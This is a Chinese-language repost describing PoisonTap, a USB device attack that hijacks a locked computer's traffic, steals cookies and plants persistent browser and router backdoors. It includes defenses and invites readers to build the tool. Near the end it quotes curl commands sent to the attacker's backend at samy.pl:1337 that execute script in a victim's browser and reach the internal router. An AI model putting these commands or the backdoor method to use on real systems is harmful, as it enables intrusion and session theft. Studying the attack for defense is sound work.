30秒攻破任意密碼保護的電腦
信息安全公益宣傳,信息安全知識啟蒙。
加微信群回復公眾號:微信群;QQ群:16004488
加微信群或QQ群可免費索取:學習教程
近日,著名硬體黑客Samy Kamkar利用5美元設備打造的黑客工具PoisonTap,只需30秒,就可以攻破設置有任意密碼的電腦系統,並實現長期後門安裝。PoisonTap不是暴力破解密碼,而是繞過密碼。
PoisonTap的標配:5美元的樹莓派微型電腦Raspberry Pi Zero、USB適配器、內置免費漏洞利用軟體。
目前,相關軟體和利用工具已在Github提供下載,Raspberry Pi Zero在某寶上也有售賣,感興趣的童鞋可以嘗試打造屬於自己的PoisonTap神器。
以下為PoisonTap官方Github介紹的工作機制,感嘆Samy Kamkar大神天馬行空的思維,同時也深諳自己技藝不精,不足之處,希望大家指正交流。
PoisonTap操作實現:PoisonTap通吃Windows和Mac系統,一旦插入電腦,將偽裝模擬成新加入的乙太網連接,即使受害者使用WIFI,一樣可以使系統優先接入其偽裝的虛假網路。PoisonTap利用中間人攻擊方式,可以劫持監聽受害者所有網路流量,竊取存儲在瀏覽器里的任意cookie和session,然後發送給控制端。以下為PoisonTap具體操作實現:
通過 USB或Thunderbolt模擬成新加入的乙太網連接設備;
劫持目標系統所有網路連接流量(即使是低優先順序或未知的網路連接)
竊取存儲在瀏覽器內相關Alexa排名前100萬網站cookie和session信息
識別目標網路路由信息,通過遠程outbound方式進行WebSocket或DNS重綁定攻擊
通過HTTP的JS緩存中毒方式實現長期web後門安裝控制,這些緩存後門涉及上千個域名和通用javascript CDN 鏈接
使用用戶cookie對後端域名實現遠程HTTP GET或POST方式控制連接
不需要系統解鎖
移除攻擊載體後,後門保持有效
PoisonTap可以繞過或突破以下安全保護措施:
鎖屏密碼
路由表優先順序設置和網路介面服務順序
同源保護策略
Cookie的HttpOnly安全設置
Cookie的SameSite安全屬性
雙因素或多因素認證
DNS Pinning
跨域資源共享
HTTPS cookie 保護
PoisonTap如何工作:
PoisonTap對系統和網路安全信任機制的攻擊,將會產生一系列連鎖反應,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以進行信息竊取、網路入侵和後門安裝。
網路劫持
1 攻擊者向有密碼保護並且鎖屏的電腦系統插入PoisonTap;
2 PoisonTap將會模擬偽裝成一個新加入系統的網路連接,默認情況下,即使在有密碼保護的鎖屏狀態下,Windows、OS X 和Linux系統將會識別該虛假網路連接,並發出DHCP請求;
3 PoisonTap響應DHCP請求,並提供一組經過構造,從0.0.0.0至255.255.255.255,與PoisonTap設備為同一子網的隨機IP地址組合; 通常,在系統使用現有網路連接的情況下,一個附加網路連接的加入,系統會把其默認為低優先順序網路,並繼續使用現有網路網關。
但是,在基於」Internet traffic」的「LANtraffic」情況下,任何路由表/網關優先順序/網路介面服務順序設置都可被繞過。
PoisonTap通過更改原網路連接網關地址,把流量引入自身,進而劫持系統所有網路流量。
Cookie竊取
只要目標系統運行有瀏覽器,打開網頁將會通過AJAX或動態腳本框架(script/iframes)產生各種請求,而由於系統網路流量被完全劫持,
1 PoisonTap將會監聽到所有HTTP請求和響應,並將這些內容發送到PoisonTap的web服務端(Node.js);即使DNS伺服器指向其它內部IP,由於這些內部DNS伺服器將為緩存的域名產生公共IP地址,而這些IP地址已經被PoisonTap劫持,所以攻擊仍然有效
3 當Node web伺服器接收到請求時,PoisonTap會通過HTML或Javascript進行響應(許多網站會在後台請求中載入HTML或JS)
4 然後,HTML / JS-agnostic頁面會生成許多隱藏的iframe,每個iframe中又包括Alexa排名前100萬內的不同網站
通過web後門進行遠程訪問
1當PoisonTap生成上千個iframe之後,將會迫使瀏覽器載入每個iframe,但這些iframe不僅僅是空白頁面,而是無限緩存的HTML + Javascript後門
2 即使用戶當前未登錄,由於PoisonTap已經在每個緩存域名上強制綁定了這些後門,使攻擊者能夠使用Cookie並在將來啟動同源請求
例如,當載入http://nfl.com/PoisonTapiframe時,PoisonTap接受轉向的Internet流量,並通過Node Web伺服器響應HTTP請求
添加了其它HTTP頭以無限緩存頁面
3 實際響應頁面是HTML和Javascript的組合,並由此產生持續有效的WebSocket連接攻擊者web伺服器端(通過互聯網而不是PoisonTap設備)
WebSocket保持開放狀態,允許攻擊者在將來任何時候回連後端機器,並在任何有後門部署的源上執行請求(Alexa排名前100萬個網站-見下文)
如果後門在一個站點(如nfl.com)上打開,但用戶希望攻擊不同的域名(如pinterest.com),攻擊者可以將nfl.com上的iframe載入到pinterest.com後門中(http://pinterest.com/PoisonTap)
同樣,域上的任何「X-Frame-Options」、跨域資源共享和同源策略安全性完全被繞過,因為實際請求的是PoisonTap留下的緩存,而不是真正的域名
內部路由器後門和遠程訪問
1 PoisonTap可以劫持當前網路的實際區域網子網
2 PoisonTap通過在一個特定主機上強制緩存後門,具體來說,在目標路由器的IP後面加上「.ip.samy.pl」,如192.168.0.1.ip.samy.pl,就可以生成一個持久的DNS重綁定攻擊
當使用PoisonTap作為DNS伺服器(受害者使用公共DNS伺服器)時,PoisonTap使用臨時專門的IP(1.0.0.1)進行響應,這意味著此時任何請求都將訪問到PoisonTap Web伺服器
如果DNS伺服器設置為內部網路(如192.168.0.x),1.0.0.1.pin.ip.samy.pl發出一個經過構造的請求,幾秒之後,它將會向我的專用DNS伺服器(公網的)返回任意[ip.address].ip.samy.pl中的IP地址信息
然後,PoisonTap將會在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置一個後門,而在PoisonTap設備上將指向1.0.0.1,該後門將實現從PoisonTap設備訪問
3 DNSpinning 和DNSrebinding的安全性設置,由於之前做出Alexatop100萬網站請求而耗盡DNS pinning表,最終將被繞過。之後,DNS就不需要重新綁定,使得該攻擊可以持續很長時間
4 現在,後門強制連接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何對192.168.0.1.ip.samy.pl的請求都將訪問到unpinned的IP地址,導致路由器解析直接指向192.168.0.1
5 這意味著如果通過後門遠程在iframe中載入192.168.0.1.ip.samy.pl/PoisonTap指向主機,就可以對內部路由器執行AJAX GET/POST和其它任意頁面,實現完全控制內部路由器
構造請求與DNS伺服器解析的對應關係
[ip.addy].ip.samy.pl normally responds with [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
基於web遠程訪問的其它後門
1PoisonTap替代了成千上萬常見的,基於CDN的Javascript文件,如Google和jQuery CDNs。如果一個網站或域名載入了受感染中毒的CDN Javascript文件,正確的代碼配合後門,就可以讓攻擊者實現入侵訪問
2由於每個緩存的網站域名都留有後門,即使當前受害者沒有對任何域名執行訪問,攻擊者仍然可以遠程強制後端瀏覽器執行同源請求(AJAX GET / POST)
3當受害者訪問基於HTTP或CDN Javascript緩存中毒的網站時,後門就被觸發
PosionTap安全防範伺服器安全
1 僅使用HTTPS,至少對認證和認證內容使用HTTPS
2確保啟用Cookie安全標記,防止HTTPS Cookie信息泄露
3 當調用遠程Javascript腳本資源時,請使用子資源完整性(SRI)標記屬性
4 使用HSTS防止HTTPS降級攻擊
桌面客戶端安全1 有必要可以用粘合劑封住USB和Thunderbolt埠
2 每次離開電腦時關閉瀏覽器
3 禁用USB和Thunderbolt埠
4 經常清理瀏覽器的緩存數據
5 在不使用電腦時,讓電腦進入休眠狀態而不是睡眠狀態,在休眠狀態中,電腦中所有的進程都將停止工作,安全性更高
文件介紹:backdoor.html:每當一個http://hostname/PoisonTapURL請求發生並竊取 cookie信息時,該文件作為返回的強制緩存內容,它包含一個後門並生成一個外連至samy.pl:1337(主機/埠可更改)的websocket,等待伺服器命令。
backend_server.js:這是你在Internet可訪問的Node伺服器,也是backdoor.html連接的內容(例如,samy.pl:1337)。 該伺服器也用來發送命令,如:
# pop alert to victimcurl "http://samy.pl:1337/exec?alert("muahahahaha")"# to set a cookie on victimcurl "http://samy.pl:1337/exec?document.cookie="key=value""# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl "http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})"
pi_poisontap.js:它通過Raspberry Pi Zero上的Node.js運行,為PoisonTap 的HTTP服務端截獲請求,存儲竊取Cookie並注入緩存後門
pi_startup.sh:在Raspberry Pi Zero上啟動時運行,將設備模擬為USB乙太網配件,設置惡意DHCP伺服器,允許流量重路由,DNS欺騙,並啟動pi_poisontap.js文件
target_backdoor.js: 此文件預先放在任何與CDN相關的Javascript文件中,通過Google CDN』s jQuery URL方式形成後門
target_injected_xhtmljs.html:在受害者系統中注入HTTP / AJAX請求並形成整個攻擊
poisontap.cookies.log: 記錄來自受害者瀏覽器的cookie
修復措施:
目前來說,PoisonTap因為是多種黑客技巧組合而成的攻擊,整個攻擊和利用過程不能明確反映某個產品或系統漏洞,所以,目前來說,沒有一種明確的修復措施。
但Kamkar提出了一種解決方案,希望在系統層面的網路連接切換中加入許可權許可機制,但是蘋果公司沒有對此作出回應,而微軟公司在給記者的回復郵件中表示,PoisonTap是一種物理接入攻擊。
所以,最好的防禦策略就是自己保管好電腦並及時更新系統和軟體。
推薦閱讀:
※討債公司收賬的受法律保護嗎?
※太極拳---練拳如何保護膝關節
※保護膝關節 運動需量力而行
※不保護好膝關節 小心你跑的步都白跑了
※布希促延長選舉權法保護非裔選民